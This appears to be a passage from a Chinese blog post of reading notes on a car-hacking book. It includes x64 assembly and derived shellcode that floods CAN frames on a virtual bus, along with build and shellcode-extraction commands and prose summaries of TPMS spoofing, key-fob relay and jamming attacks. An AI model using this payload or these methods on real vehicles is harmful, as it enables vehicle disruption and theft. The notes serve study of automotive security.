  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>编译：<code>gcc -o temp_shellcode temp_shellcode.c</code></p>
<p>编译出一个可执行文件，另一个终端candump监听vcan0，可以看到不断在发包，仲裁ID是0x510，第二个字节是FF。由于frame_data未初始化，所以其他字节的数据不是我们设置的。</p>
<p>后面居然用汇编重写，看不懂</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">section .text
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">global _start
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">_start:
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">                                    ; s = socket(PF_CAN, SOCK_RAW, CAN_RAW);
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    push 41                         ; Socket syscall from unistd_64.h
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    pop rax
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    push 29                         ; PF_CAN from socket.h
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    pop rdi
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    push 3                          ; SOCK_RAW from socket_type.h
</span></span><span class="line"><span class="ln">10</span><span class="cl">    pop rsi
</span></span><span class="line"><span class="ln">11</span><span class="cl">    push 1                          ; CAN_RAW from can.h
</span></span><span class="line"><span class="ln">12</span><span class="cl">    pop rdx
</span></span><span class="line"><span class="ln">13</span><span class="cl">    syscall
</span></span><span class="line"><span class="ln">14</span><span class="cl">    mov r8, rax                     ; s / File descriptor from socket
</span></span><span class="line"><span class="ln">15</span><span class="cl">                                    ; strcpy(ifr.ifr_name, &#34;vcan0&#34;);
</span></span><span class="line"><span class="ln">16</span><span class="cl">    sub rsp, 40                     ; struct ifreq is 40 bytes
</span></span><span class="line"><span class="ln">17</span><span class="cl">    xor r9, r9                      ; temp register to hold interface name
</span></span><span class="line"><span class="ln">18</span><span class="cl">    mov r9, 0x306e616376            ; vcan0
</span></span><span class="line"><span class="ln">19</span><span class="cl">    push r9
</span></span><span class="line"><span class="ln">20</span><span class="cl">    pop qword [rsp]
</span></span><span class="line"><span class="ln">21</span><span class="cl">                                    ; ioctl(s, SIOCGIFINDEX, &amp;ifr);
</span></span><span class="line"><span class="ln">22</span><span class="cl">    push 16                         ; ioctrl from unistd_64.h
</span></span><span class="line"><span class="ln">23</span><span class="cl">    pop rax
</span></span><span class="line"><span class="ln">24</span><span class="cl">    mov rdi, r8                     ; s / File descriptor
</span></span><span class="line"><span class="ln">25</span><span class="cl">    push 0x8933                     ; SIOCGIFINDEX from ioctls.h
</span></span><span class="line"><span class="ln">26</span><span class="cl">    pop rsi
</span></span><span class="line"><span class="ln">27</span><span class="cl">    mov rdx, rsp                    ; &amp;ifr
</span></span><span class="line"><span class="ln">28</span><span class="cl">    syscall
</span></span><span class="line"><span class="ln">29</span><span class="cl">    xor r9, r9                      ; clear r9
</span></span><span class="line"><span class="ln">30</span><span class="cl">    mov r9, [rsp+16]                ; ifr.ifr_ifindex
</span></span><span class="line"><span class="ln">31</span><span class="cl">                                    ; addr.can_family = AF_CAN;
</span></span><span class="line"><span class="ln">32</span><span class="cl">    sub rsp, 16                     ; sizeof sockaddr_can
</span></span><span class="line"><span class="ln">33</span><span class="cl">    mov word [rsp], 29              ; AF_CAN == PF_CAN
</span></span><span class="line"><span class="ln">34</span><span class="cl">                                    ; addr.can_ifindex = ifr.ifr_ifindex;
</span></span><span class="line"><span class="ln">35</span><span class="cl">    mov [rsp+4], r9
</span></span><span class="line"><span class="ln">36</span><span class="cl">                                    ; bind(s, (struct sockaddr *)&amp;addr, sizeof(addr));
</span></span><span class="line"><span class="ln">37</span><span class="cl">    push 49                         ; bind from unistd_64.h
</span></span><span class="line"><span class="ln">38</span><span class="cl">    pop rax
</span></span><span class="line"><span class="ln">39</span><span class="cl">    mov rdi, r8                     ; s /File descriptor
</span></span><span class="line"><span class="ln">40</span><span class="cl">    mov rsi, rsp                    ; &amp;addr
</span></span><span class="line"><span class="ln">41</span><span class="cl">    mov rdx, 16                     ; sizeof(addr)
</span></span><span class="line"><span class="ln">42</span><span class="cl">    syscall
</span></span><span class="line"><span class="ln">43</span><span class="cl">    sub rsp, 16                     ; sizeof can_frame
</span></span><span class="line"><span class="ln">44</span><span class="cl">    mov word [rsp], 0x510           ; frame.can_id = 0x510;
</span></span><span class="line"><span class="ln">45</span><span class="cl">    mov byte [rsp+4], 8             ; frame.can_dlc = 8;
</span></span><span class="line"><span class="ln">46</span><span class="cl">    mov byte [rsp+9], 0xFF          ; frame.data[1] = 0xFF;
</span></span><span class="line"><span class="ln">47</span><span class="cl">                                    ; while(1)
</span></span><span class="line"><span class="ln">48</span><span class="cl">loop:
</span></span><span class="line"><span class="ln">49</span><span class="cl">                                    ; write(s, &amp;frame, sizeof(struct can_frame));
</span></span><span class="line"><span class="ln">50</span><span class="cl">    push 1                          ; write from unistd_64.h
</span></span><span class="line"><span class="ln">51</span><span class="cl">    pop rax
</span></span><span class="line"><span class="ln">52</span><span class="cl">    mov rdi, r8                     ; s / File descriptor
</span></span><span class="line"><span class="ln">53</span><span class="cl">    mov rsi, rsp                    ; &amp;frame
</span></span><span class="line"><span class="ln">54</span><span class="cl">    mov rdx, 16                     ; sizeof can_frame
</span></span><span class="line"><span class="ln">55</span><span class="cl">    syscall
</span></span><span class="line"><span class="ln">56</span><span class="cl">                                    ; usleep(500000);
</span></span><span class="line"><span class="ln">57</span><span class="cl">    push 35                         ; nanosleep from unistd_64.h
</span></span><span class="line"><span class="ln">58</span><span class="cl">    pop rax
</span></span><span class="line"><span class="ln">59</span><span class="cl">    sub rsp, 16
</span></span><span class="line"><span class="ln">60</span><span class="cl">    xor rsi, rsi
</span></span><span class="line"><span class="ln">61</span><span class="cl">    mov [rsp], rsi                  ; tv_sec
</span></span><span class="line"><span class="ln">62</span><span class="cl">    mov dword [rsp+8], 500000       ; tv_nsec
</span></span><span class="line"><span class="ln">63</span><span class="cl">    mov rdi, rsp
</span></span><span class="line"><span class="ln">64</span><span class="cl">    syscall
</span></span><span class="line"><span class="ln">65</span><span class="cl">    add rsp, 16
</span></span><span class="line"><span class="ln">66</span><span class="cl">    jmp loop</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">assembly</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>编译：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nasm -f elf64 -o temp_shell2.o temp_shell.S
</span></span><span class="line"><span class="ln">2</span><span class="cl">ld -o temp_shell2 temp_shell2.o</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>转换为shellcode</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">for</span> i in <span class="k">$(</span>objdump -d temp_shell2.o -M intel <span class="p">|</span>grep <span class="s2">&#34;^ &#34;</span> <span class="p">|</span>cut -f2<span class="k">)</span><span class="p">;</span> <span class="k">do</span> <span class="nb">echo</span> -n <span class="s1">&#39;\x&#39;</span><span class="nv">$i</span><span class="p">;</span> <span class="k">done</span><span class="p">;</span>echo</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>输出：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00\x00\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x48\x89\xe2\x0f\x05\x4d\x31\xc9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\x24\x1d\x00\x4c\x89\x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\x6a\x23\x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44\x24\x08\x20\xa1\x07\x00\x48\x89\xe7\x0f\x05\x48\x83\xc4\x10\xeb\xcf</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>后面有删除NULL的操作（这里最难的部分），但是由于易读性差没给代码，给了新的shellcode，由于我生之前所有代码生成的大小，字节都跟书里不完全一致，所以放它的新代码对我的环境来说没啥用处，环境不一样，编译结果有差距。这里就不放了</p>
<p>后面把shellcode或汇编放到msf的模板里加载</p>
<p>后面就是CAN网络的指纹识别</p>
<p>交互式查询：</p>
<p>首先查询VIN</p>
<p>解码VIN</p>
<p>交互式由于是主动探测，可以被检测到</p>
<p>被动式CAN总线指纹识别：</p>
<p>被动式CAN总线指纹识别是指监视网络流量，以收集某些车型特有的信息，然后与已知的指纹信息匹配。由于该领域的研究相对较新，截止本书成文时，只有OpenGarages 发布了可用于收集和检测总线指纹的工具。</p>
<p>这个工具叫c0f，停止维护十年了，这书里的许多工具都是十年前的</p>
<p>这个c0f的演示，给我的感觉是密码学历的词频分析</p>
<h2 id="第12章-使用软件无线电攻击无线系统">第12章 使用软件无线电攻击无线系统<a class="anchor" href="#第12章-使用软件无线电攻击无线系统">#</a></h2>
<p>又要买设备，这一章当科普</p>
<p>为了应用正确的解调器，首先需要具备识别某个信号所用调制方式的能力。信号调制是指无线信号中表示二进制数据的方式，它在需要区分二进制1和0时发挥作用。常用的数字信号调制有两种：幅移键控(Amplitude-Shift Keying，ASK)和频移键控(Frequency-Shift Keying, FSK)。</p>
<p>胎压监测系统叫做TPMS，他安装在轮胎内，把数据通过无线的方式传递给ECU，无线通过射频和蓝牙两种，前者稍多</p>
<p>TPMS的安全研究大多来自，这个研究论文：<a
  href="https://www.usenix.org/legacy/events/sec10/tech/full_papers/Rouf.pdf" rel="nofollow noopener noreferrer" target="_blank"
  >车内无线网安全和隐私脆弱性：胎压监测系统案例分析<span style="user-select:none"> ↗</span></a
>
</p>
<p>使用射频接收器监听射频信号，因为信号弱，需要低噪声放大器</p>
<p>通常TPMS每60 / 90秒发一次信号，40km/h以下不发信号。但这因车而异。有的怠速发信息，停车也发信息。</p>
<p>对发动机未运转的驻泊车辆安全审计时，要确保发送唤醒信号。</p>
<p>车辆启动的时候要求TPMS响应，一般是轮询的</p>
<p>给了一个研究者开发的分析tpms信号的工具，又是十年前停更的：https://github.com/jboone/gr-tpms</p>
<p>我靠，居然还有跟踪车辆？这不是正常安全研究吧</p>
<p>利用TPMS信号触发炸药包？</p>
<p>然后就是获得TPMS的访问权，通过GNU Radio构造数据包，能伪造危险的PSI和温度，能触发其他发动机指示灯，能耗尽电池。</p>
<p>攻击遥控钥匙和防盗系统</p>
<p>向接收端发送大量噪音干扰接收。</p>
<p>通过多次质询-响应，推测出伪随机数生成的规则，然后预测下次响应，推测出后面全部编码</p>
<p>还能搜集信号制作字典。</p>
<p>逆向CAN总线</p>
<p>钥匙编程器和应答器复制机，能偷车。。。</p>
<p>后面说了PKES，无钥匙进入的流程，首先钥匙会发一个低频射频信号，车子收到确认你在附近，然后钥匙发送高频射频信号，车子收到才解锁。如果没有收到低频，那么就忽视高频信号。</p>
<p>攻击方式居然是中继攻击，就是钥匙持有者身边放个设备，车子身边放个设备。然后钥匙的信号会通过设备发送到车子那边。我记得打电话的时候，车钥匙的解锁信号就能通过电话传播过去。</p>
<p>还有就是防盗器的密码薄弱</p>
<p>后面说了一个例子，研究人员破解了保时捷、奥迪、宾利、兰博基尼共用的一个Megamos系统，反而被告了。</p>
<p>物理攻击？？？拿锤子砸吗</p>
<p>哦，是把防盗器扣下来，或者换一个假的上去</p>
<p>暴力破解密码键盘，这个好离谱，不过现在都类似智能锁一样，输入#作为结束，密码取#前6位。</p>
<p>介绍了一种真正的暴力攻击，称为“闪回：搭线攻击”，就是电影里把几根电线碰在一起发动车辆的攻击。这个我小时候见一个人在面包车上用过。当时觉得很酷</p>
<p>原理是，以前汽车通过钥匙转动构成点火回路，没有防盗器，没有其他安全措施，完全靠电路实现。现在这种设计已经消失了。</p>
<h2 id="第13章-性能调校">第13章 性能调校<a class="anchor" href="#第13章-性能调校">#</a></h2>
<p>常见但不被认为具有恶意的黑客技术</p>
<p>这也能写进来吗，感觉更像修理工的手册</p>
<p>列举了几个性能调校的例子，大多对发动机电脑重编程，原来那么早汽车里面就用电脑了</p>
<p>由于各个国家都有禁止改装、拆卸之类的法律，所以性能调校要考虑当地法律</p>
<p>没有最优的性能策略，都是取舍和折中。调校是保证发动机不自毁前提下，将其按某个特定目标进行配置的一种折中。</p>
<p>后面说了刷机、改芯，都是重编程的不同场景名词，不过刷机不需要物理拆卸，而是通过某些协议进行编程。</p>
<p>太过遥远。当科普看</p>
<p>不对原厂电脑逆向的话，也可以买一个部件替换掉他。MegaSquirt就是一种独立的发动机控制电脑，它几乎能跟任何喷油式发动机适配。</p>
<h2 id="附录">附录<a class="anchor" href="#附录">#</a></h2>
<p>介绍了书里提到的工具等等，居然介绍了SavvyCAN，好像在书里没见过，反正比Kayak好用多了</p>
<p>这里许多硬件软件，都停留在了这本书出版的时候，感觉像是为了这本书才搞得，作者自己的产品这样很正常，但是其他研究者的仓库也都停止了十一年左右。</p>
<p>附录2是诊断代码和PID含义，放个百科链接：<a
  href="https://zh.wikipedia.org/wiki/OBD-II_PID" rel="nofollow noopener noreferrer" target="_blank"
  >https://zh.wikipedia.org/wiki/OBD-II_PID<span style="user-select:none"> ↗</span></a
>
</p>
<p>后面说了一下OpenGarages，这个是爱好者组成的小组，全世界各地可以申请，只要填写申请单，你对应地区的人可以到你车库做改装，研究等等。不过在国内貌似没有人申请。如果有，那么对没有车的学习者来说是莫大的好事。不过可能性很低，第一网安圈子小，汽车安全更小，有车库的人少，愿意分享出来给大家折腾更少，这些条件加起来，很难实现。</p>
<p>本书完</p>
<p>感觉很像科普啊，之前在豆瓣上看到汽车安全的书，就这本评分高，其他的譬如《智能汽车安全攻防大揭秘》和《智能汽车渗透实战：从漏洞挖掘到控车攻击》，都有评论说像科普。</p>
<p>但是这本书虽然介绍了许多种攻击面，许多种手法，但都没有深入下去，就是给初学者建立一个整车测试流程的，而且不是新能源汽车。</p>
<p>技术提升很少，因为软件方面只有ICSim那里有几个挑战，我做完了。但是其他方面均没有练习。虽然硬件没有，但是就算买了，也并不会学到很多，书里很简略。而且提到一个买一个不太现实。</p>
<p>明天国庆假期结束，开始上班，期间把狼组的招商车研做做吧。VSEC那个有点做累了。RAMN好贵，肉疼，还不知道能不能正常使用。</p>
